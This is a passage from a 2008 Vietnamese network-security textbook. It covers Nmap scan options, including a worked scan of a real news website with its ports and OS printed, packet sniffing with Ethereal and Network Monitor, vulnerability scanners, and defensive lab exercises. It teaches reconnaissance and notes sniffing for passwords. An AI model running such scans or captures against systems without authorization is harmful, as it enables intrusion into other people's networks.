o -sU (UDP scans): Dù hầu hết các dịch vụ mạng đều sử dụng giao thức
TCP nhưng vẫn có một số dịch vụ quan trọng sử dụng UDP như DNS
(53), SNMP (161/162), DHCP (67/68)…UDP scan giúp xác định một
cổng nào đó ở trạng thái Open, Closed, Filtered hay Open|Filtered.
o -sN; -sF; -sX (TCP Null, FIN, and Xmas scans): Đây là những kỹ thuật
quét khá phức tạp. Ưu điểm chính của chúng có thể vượt qua được
một số loại tường lửa hoặc router cấu hình lọc gói tin.
o Ngoài những kỹ thuật trên, Nmap còn hỗ trợ nhiều kỹ thuật quét cổng
khác như TCP ACK Scan, Idle Scan, TCP Window Scan, TCP
Maimon Scan…

Thông tin chi tiết về các kỹ thuật quét này có thể tìm thấy tại đây.

 Port Specification and Scan order (Xác định cổng cần quét và thứ tự
quét)

Mặc định, Nmap sẽ quét tất cả các cổng bao gồm 1024 cổng well-known
cũng như các cổng cao hơn được liệt kê trong tệp tin nmap-services.
Tuy nhiên, chúng ta cũng có thể tùy biến số cổng cần quét bằng các tham số
sau:

o -p <port ranges>: chỉ định chính xác một hay nhiều cổng cần quét.

Ví dụ: -p U:53, 111, T:21-25, 80, 8080 evn.com.vn

o -F (Fast (limited port) scan): Chỉ quét những cổng được liệt kê trong
tệp tin nmap-services (khoảng 1200 cổng).
o -r (Don't randomize ports): Mặc định, Nmap sẽ quét các cổng thông
dụng trước. Với lựa chọn này, chúng ta buộc Nmap phải quét theo
đúng thứ tự từ đầu đến cuối.

Minh họa: Sử dụng Nmap để quét cổng dịch vụ trên website dantri.com.vn.

168
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Dùng câu lệnh sau:

Nmap -v -A -PN -sS -oN C:\dantri.txt www.dantri.com.vn

Ý nghĩa của câu lệnh trên như sau:

- Tham số -v làm tăng tốc độ quét bằng cách thực hiện cùng lúc nhiều kết nối.

- Tham số -A bao gồm việc xác định hệ điều hành, xác định phiên bản từng dịch
vụ, quét script, và thực hiện Traceroute.

- Tham số -PN để bỏ qua bước xác định web server đó có kết nối mạng hay không.

- Tham số -sS để thực hiện kỹ thuật quét là SYN Scan

- Tham số -oN để xuất kết quả ra tệp tin dantri.txt ở ổ C.

- Và cuối cùng là mục tiêu cần quét : www.dantri.com.vn

Và đây là kết quả thu được:

Host 210.245.87.122 appears to be up ... good.

Interesting ports on 210.245.87.122:

Not shown: 1708 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp filtered microsoft-ds

1027/tcp open msrpc Microsoft Windows RPC

169
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

1029/tcp open msrpc Microsoft Windows RPC

3389/tcp open microsoft-rdp Microsoft Terminal Service

Device type: general purpose

Running: Microsoft Windows 2003

OS details: Microsoft Windows Server 2003 SP1 or SP2

TCP Sequence Prediction: Difficulty=262 (Good luck!)

IP ID Sequence Generation: Busy server or unknown class

Service Info: OS: Windows

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.00 local.gateway (10.1.0.100)

2 172.00 adsl.hnpt.com.vn (203.210.152.1)

3 47.00 203.210.148.5

4 47.00 203.210.148.1

5 31.00 localhost (123.30.63.25)

6 31.00 localhost (123.30.63.54)

7 31.00 218.100.10.7

8 31.00 210.245.87.122

170
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 3. PHÂN TÍCH DỮ LIỆU MẠNG


Đối với một nhà quản trị hệ thống, thao tác bắt gói tin lưu thông trên mạng từ đó
đưa ra những thống kê, phân tích về hệ thống là vô cùng cần thiết. Thông qua việc
phân tích gói tin lưu thông trên mạng, người quản trị có thể:

 Phân tích các vấn đề của mạng.


 Phát hiện các cố gắng xâm nhập mạng.
 Thu thập thông tin để tăng hiệu quả hoạt động mạng.
 Theo dõi sử dụng mạng.
 Thu thập và lập báo cáo thống kê mạng.
 Lọc các nội dung đáng ngờ ra khỏi giao thông mạng.
 Do thám những người sử dụng mạng khác và thu thập thông tin nhạy cảm,
chẳng hạn: mật khẩu (tùy theo các phương pháp mã hóa nội dụng có thể
được sử dụng)
 Các giao thức truyền thông được sử dụng trên mạng.
 Tìm lỗi các giao tiếp khách/chủ.
 .v.v.

Có rất nhiều công cụ giúp cho người quản trị thực hiện được công việc này một
cách khá dễ dàng, chúng được gọi chung với tên gọi “chương trình nghe trộm gói
tin” (packet sniffer) hay “chương trình phân tích mạng”. Đó là những phần mềm
máy tính có khả năng chặn và ghi lại giao thông trên mạng. Khi các dòng dữ liệu
được truyền trong mạng, chương trình nghe trộm bắt lấy từng gói tin rồi giải mã và
phân tích nội dung của nó theo RFC hoặc các đặc tả thích hợp khác. Tùy theo cấu
trúc mạng (hub hay switch), người ta có thể nghe trộm tất cả hoặc chỉ một phần
của giao thông dữ liệu từ một máy trong mạng. Đối với các mục đích theo dõi
mạng (network monitoring), người ta có thể muốn theo dõi tất cả các gói tin trong
một mạng LAN bằng cách sử dụng một thiết bị switch với tính năng mirrowing (nó
lặp lại tất cả các gói tin đi qua tất cả các cổng của thiết bị chuyển mạch).

1. Phần mềm Ethereal

Ethereal là một phần mềm mã nguồn mở miễn phí. Đây là một công cụ hết sức phổ
biến được cả những nhà quản trị mạng và hacker sử dụng. Khả năng hỗ trợ nhiều
dòng hệ điều hành cũng như tốc độ bắt và lọc gói tin giúp Ethereal trở thành một
trong những phần mềm phân tích dữ liệu mạng mạnh nhất hiện nay. Ngoài ra,

171
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ethereal sử dụng một thư viện tập hợp đầy đủ các giao thức, điều này giúp cho
Ethereal dễ dàng phân tích và hiển thị thông tin chi tiết về từng nội dung gói tin.

Sử dụng Ethereal để bắt và phân tích các gói tin lưu thông trên mạng:

Bước 1. Chọn cổng mạng để bắt gói tin

Khởi động chương trình Ethereal, xác định cổng mạng dùng để bắt gói tin.

Sau khi nhấn Capture, Ethereal sẽ tiến hành bắt các gói tin đi qua cổng mạng đã
chọn.

Bước 2. Nhấn Stop để dừng quá trình bắt gói tin.

172
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bước 3. Phân tích dữ liệu thu được

Mặc định, Ethereal sẽ bắt tất cả các gói tin đi qua cổng mạng đã họn và hiển thị
theo thứ tự bắt được. Tuy nhiên, Ethereal cung cấp cho chúng ta tiện ích Filter, cho
phép chúng ta tùy biến hiển thị thông tin.

173
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ví dụ1: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225, ta sử dụng tham số
ip.src == 10.1.3.225

Ví dụ 2: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và truy cập tới cổng
80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport ==
80

174
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ví dụ 3: Chỉ hiển thị các gói tin xuất phát từ địa chỉ 10.1.3.225 và có cổng đích
khác 80, ta sử dụng tham số: ip.src == 10.1.3.225 && tcp.dstport
!= 80

Ví dụ 4: Hiển thị một phiên kết nối TCP từ máy tính 10.1.3.225 đến trang web
icon.evn.com.vn. Click chuột phải vào một gói tin TCP có địa chỉ nguồn là
10.1.3.225 và địa chỉ đích là Icon.evn.com.vn (203.190.160.227), chọn Follow
TCP Stream:

175
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Kết quả thu được cho ta thấy rõ quá trình bắt tay bắt tay 3 bước TCP như thế nào
cũng như quá trình máy tính trao đổi thông tin HTTP với máy chủ web
Icon.evn.com.vn:

176
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Sử dụng công cụ Capture Filter để bắt các gói tin xác định:

Trong một số trường hợp, ta không cần thiết phải bắt tất cả các gói tin lưu thông
trên mạng, công cụ Capture Filter cho phép ta thực hiện được việc này.

Vào menu Capture, chọn Options (phím tắt Ctrl + K). Chọn cổng mạng dùng để
bắt gói tin.

Giả sử ta chỉ muốn bắt các gói tin TCP đi đến hoặc xuất phát từ máy tính có địa chỉ
10.1.3.225, trong mục Capture Filters gõ tham số : host 10.1.3.225 :

Sau khi thực hiện bắt gói tin và phân tích lưu thông mạng, chúng ta có thể lưu lại
kết quả hoặc xuất thông tin ra các định dạng khác nhau để tiện theo dõi, thống kê.

177
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

2. Microsoft Network Monitor

Network Monitor có thể được coi là một công cụ miễn phí bởi vì nó được tích hợp
sẵn trong sản phẩm Microsoft Windows Server 2003. Có hai phiên bản khác nhau
của Network Monitor; phiên bản Basic và phiên bản đầy đủ. Phiên bản Basic có
trong Windows Server 2003, còn phiên bản đầy đủ được dành cho SMS Server. Cả
hai phiên bản đều cho phép phân tích được lưu lượng mạng, tuy nhiên vẫn có một
số sự khác nhau giữa hai phiên bản. Sự khác nhau lớn nhất là phiên bản Basic chỉ
có khả năng phân tích được lưu lượng gửi đi hoặc đến từ máy tính đang sử dụng
Network Monitor, trong khi đó phiên bản đầy đủ có thể phân tích tất cả các luồng
lưu lượng trên cả đoạn mạng.

Trong nội dung này, chúng ta sẽ cùng tìm hiểu cách cài đặt và sử dụng Network
Monitor.

Sử dụng Network Monitor để phân tích gói tin

Bước 1. Cài đặt Network Monitor trên máy tính chạy Windows Server 2003

Để cài đặt Network Monitor, chúng ta cần đĩa cài đặt Windows Server 2003. Sau
khi cho đĩa cài Windows Server 2003 vào ổ đĩa, chúng ta vào Start – Control
Panel – Add/Remove Programs – Add/ Remove Windows Components.

178
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tìm đến phần Management and Monitoring Tools, chọn Details (không tích vào
hộp chọn).

Tích vào hộp chọn Network Monitor Tools và nhấn OK – Next - Finish để hoàn
thành cài đặt.

179
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bước 2. Sử dụng Network Monitor để bắt gói tin

Sau khi cài đặt, Network Monitor xuất hiện trong phần Adminstrative Tools.

Cũng như Ethereal, Network Monitor cho phép bạn lọc các giao thức cần bắt cũng
như hiển thị theo từng giao thức.

Việc sử dụng Network Monitor khá đơn giản khi bạn đã làm quen với Ethereal.
Sau khi chọn cổng mạng dùng để bắt gói tin, bạn nhấn biểu tượng ► để bắt đầu
quá trình bắt gói tin.

180
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Để kết thúc quá trình bắt gói tin và xem kết quả thu được, bạn chọn biểu tượng
hình gọng kính (Stop and View Capture)

Muốn tùy chọn hiển thị, ta có thể vào mục Display – Filter trên thanh công cụ hoặc
nhấn phím tắt F8. Giả sử ở đây ta chỉ muốn hiển thị các gói tin ICMP xuất phát từ
Localhost:

181
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Và đây là kết quả thu được:

182
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 4. QUÉT LỖ HỔNG MÁY TÍNH


Theo thống kế của trung tâm an ninh mạng BKIS trung bình một tháng xuất hiện
thêm 400 lỗi trong các phần mềm thường dùng. 20% trong số đó là các lỗi nghiêm
trọng, có thể khiến hệ thống bị kiểm soát. Và mức độ nguy hiểm của các lỗ hổng
này còn ở thái độ của người dùng, đa số người dùng thường xuyên không có thói
quen cập nhật phần mềm, bản vá lỗi…

Thực tế, có rất nhiều công cụ cho phép phát hiện lỗ hổng trên máy tính, từ các
phần mềm dùng cho riêng từng máy đến các phần mềm có thể quét qua mạng. Ở
đây, chúng ta tìm hiểu 2 trong số các phần mềm như vậy.

1. Microsoft Baseline Security Analyzer

MBSA là công cụ được thiết kế cho các quản trị mạng trong môi trường hệ thống
vừa và nhỏ. Nó giúp họ có thể dễ dàng đánh giá được tình trạng bảo mật của hệ
thống cũng như có được các hướng dẫn tăng cường bảo mật từ Microsoft. MBSA
hoạt động trên môi trường mạng Windows, tương thích với tất cả các sản phẩm của
Microsoft và có khả năng phát hiện lỗ hổng trong hệ thống (password yếu, chưa
cập nhật bản vá, shared folder…).

MBSA có thể được download tại địa chỉ :

http://www.microsoft.com/technet/security/tools/mbsahome.mspx

Để quét lỗ hổng trên một máy tính, ta tiến hành làm như sau:

Bước 1. Khởi động MBSA, chọn Scan a computer

183
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bước 2. Xác định máy tính cần kiểm tra

Có thể xác định theo tên máy hoặc theo địa chỉ IP của máy đó.

Nên để các lựa chọn mặc định để có thể rà soát được nhiều lỗ hổng khác nhau.

Sau khi lựa chọn xong, chọn Start scan

Bước 3. Kiểm tra kết quả

184
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

185
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bước 4. Thực hiện sửa lỗi, tăng cường bảo mật

Trong trường hợp này, máy tính thử nghiệm có 2 lỗ hổng nghiêm trọng được phát
hiện là lỗi về Windows Security Updates và IE Enhanced Security
Configuration for Adminstrators.

Chúng ta nhấn vào liên kết How to correct this để có được những biện pháp bảo
mật phù hợp.

186
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

MBSA cũng cho phép người quản trị kiểm tra cùng lúc nhiều máy tính trong hệ
thống với điều kiện người quản trị phải đăng nhập với tài khoản đủ quyền.

Ngoài ra, khi thực hiện quét lỗ hổng trên một hay nhiều máy đều có những yêu cầu
về hệ điều hành, phiên bản IE, IIS, XML và một số dịch vụ khác. Chi tiết có thể
tìm hiểu ở mục Microsoft Baseline Security Analyzer Help.

2. GFI LanGuard Network Security Scanner

GFI LanGuard Network Security Scanner (N.S.S) là một giải pháp quản lý lỗ hổng
hệ thống toàn diện. N.S.S cung cấp 3 tính năng rất mạnh để quản lý hệ thống đó là:

- Dò tìm điểm yếu (Vulnerable Scanning)


- Quản lý bản vá lỗi (Patch Management)
- Giám sát hệ thống (Network Auditing)

187
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

N.S.S hoạt động trên nhiều hệ điều hành khác nhau (Windows, Mac OS, Linux).

Để sử dụng N.S.S dò quét lỗ hổng trên một hay nhiều máy tính, ta làm như
sau:

Bước 1: Xác định máy tính cần quét:

Trong File – New Scan, chọn một hoặc nhiều máy tính cần quét. Ở đây, chúng ta
chọn quét trên máy tính có địa chỉ 192.168.1.100, nhấn Finish.

Bước 2: Phân tích kết quả nhận được:

188
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Dựa vào kết quả nhận được, chúng ta có thể có rất nhiều thông tin về máy tính này.

Đó là tên máy tính, địa chỉ MAC, máy tính thuộc domain hay workgroup, các
shared folder và phân quyền trên chúng, các nhóm người dùng có trên máy tính,
các phiên đang kết nối, thông tin về card mạng, ổ đĩa, ngày giờ hệ thống, chính
sách mật khẩu và các thông tin quan trọng từ Registry như System Root, Memory,
Display, Sound Card…

189
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Các bản vá lỗi đã được cập nhật trên máy tính, các chính sách về kiểm soát thống
kê:

190
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Thông tin về các cổng dịch vụ đang mở trên máy tính:

Cảnh báo về những điểm yếu, các lỗ hổng chưa được cập nhật từ các ứng dụng, hệ
điều hành trên máy tính và hướng dẫn cách vá lỗi hoặc cấu hình để tăng cường bảo
mật.

191
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Bước 3: Cập nhật các bản vá lỗi, cấu hình tăng cường bảo mật

Để cập nhật các bản vá lỗi cho máy tính, người quản trị có thể thao tác ngay trên
giao diện N.S.S mà không gây bất kì ảnh hưởng nào đối với người dùng bằng cách
click chuột phải vào biểu tượng máy tính đó và chọn Deploy Patches on this
computer. Người quản trị có thể tùy chọn một số thông số như khởi động lại máy
sau khi cập nhật bản vá, tạo log file… trước khi nhấn Start để bắt đầu.

192
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Đối với những điểm yếu trên máy tính, người quản trị có thể tham khảo những
khuyến nghị của N.S.S để cấu hình tăng cường bảo mật như đổi tên administrator,
tắt các chia sẻ mặc định C$, D$, ADMIN$...

193
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ngoài ra, N.S.S còn cung cấp các một số tính năng hữu dụng khác như tạo báo cáo,
whois, traceroute, điểm danh máy tính, kiểm tra máy chủ MS SQL…

194
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 6
CASE-STUDY

195
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Case-Study 1
 Chính sách an ninh mạng của Tổ chức không cho phép người dùng từ bên
ngoài truy cập tới Email Server sử dụng các giao thức POP3, SMTP, IMAP.

 Tuy nhiên, một số nhân viên kinh doanh thường xuyên phải làm việc với đối
tác ngoài công ty và họ có nhu cầu làm việc với các phần mềm Email Client.

 Hãy cấu hình trên tường lửa ISA cho phép người dùng từ xa kết nối VPN
vào hệ thống để làm việc.

 Mô hình bài thực hành như sau:

► Video tham khảo

196
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Case-study 2

 Hãy cấu hình IPSec để mã hóa đường truyền giữa Server và máy tính của
User A.

 Dùng các phần mềm nghe lén trên máy tính Hacker để kiểm tra sự thay đổi
trước và sau khi sử dụng IPSec

 Mô hình bài thực hành như sau:

► Video tham khảo

197
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Case-Study 3
 Email Server của EXAM.COM.VN hiện tại chưa được cấu hình để sử dụng
HTTPS (HTTP over SSL).
 Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate
cho các máy tính trong hệ thống.
 Thực hiện việc xin cấp certificate trên máy Email Server.
 Cấu hình SSL trên máy Email Server sử dụng Certificate được cấp.
 Kiểm tra cấu hình bằng cách truy cập Https://exam.com.vn/exchange trên
máy Client.
 Mô hình bài thực hành như sau:

► Video tham khảo

198
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Case-Study 4
 Hãy dựng một máy tính đóng vai trò Stand-Alone CA, cấp phát certificate
cho các máy tính trong hệ thống.
 Thực hiện việc xin cấp certificate trên máy người dùng.
 Cấu hình các phần mềm Email Client trên máy người dùng sử dụng chữ ký
điện tử và chức năng mã hóa email.
 Kiểm tra tính an toàn bằng cách thử dùng một máy tính thứ 3 đọc trộm email
đã được mã hóa.
 Mô hình bài thực hành như sau:

► Video tham khảo

199
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

PHẦN 7
TÀI LIỆU THAM KHẢO

200
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

1. Syngress – Security+ Study Guide.

2. Cisco Press – IPSec Virtual Private Network Fundamentals.

3. Cisco Press – ICND, Vol 1 and 2.

4. TCP/IP Illustrated, Vol 1.

5. O’Reilly – Virtual Private Networks.

6. http:// openssh.com

7. http://SecurityFocus.com

6. http://pgp.com

7. Các phương pháp lọc và phòng chống Spam – Trần Đình Thi

8. http://hvaonline.net

9. http://Acunetix.com

10. http://wikipedia.org

11. http://Nmap.org

12. http://metasploit.com/

13. http://quantrimang.com

14. http://vnsecurity.com

15. http://vietshield.com

16. http://nis.com.vn

17. http://nstalker.net

18. http://technet.microsoft.com

201
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

19. http://acunetix.com

20. http://milw0rm.com

21. http://ethereal.com

22. http://ethicalhacker.net

22. http://ethereal.org

23. http://adminvietnam.vn

Video Demo:

24. Cấu hình SSH

25. Cấu hình PGP

26. Khai thác lỗi tràn bộ đệm trên hệ điều hành Windows 2000

202

You might also like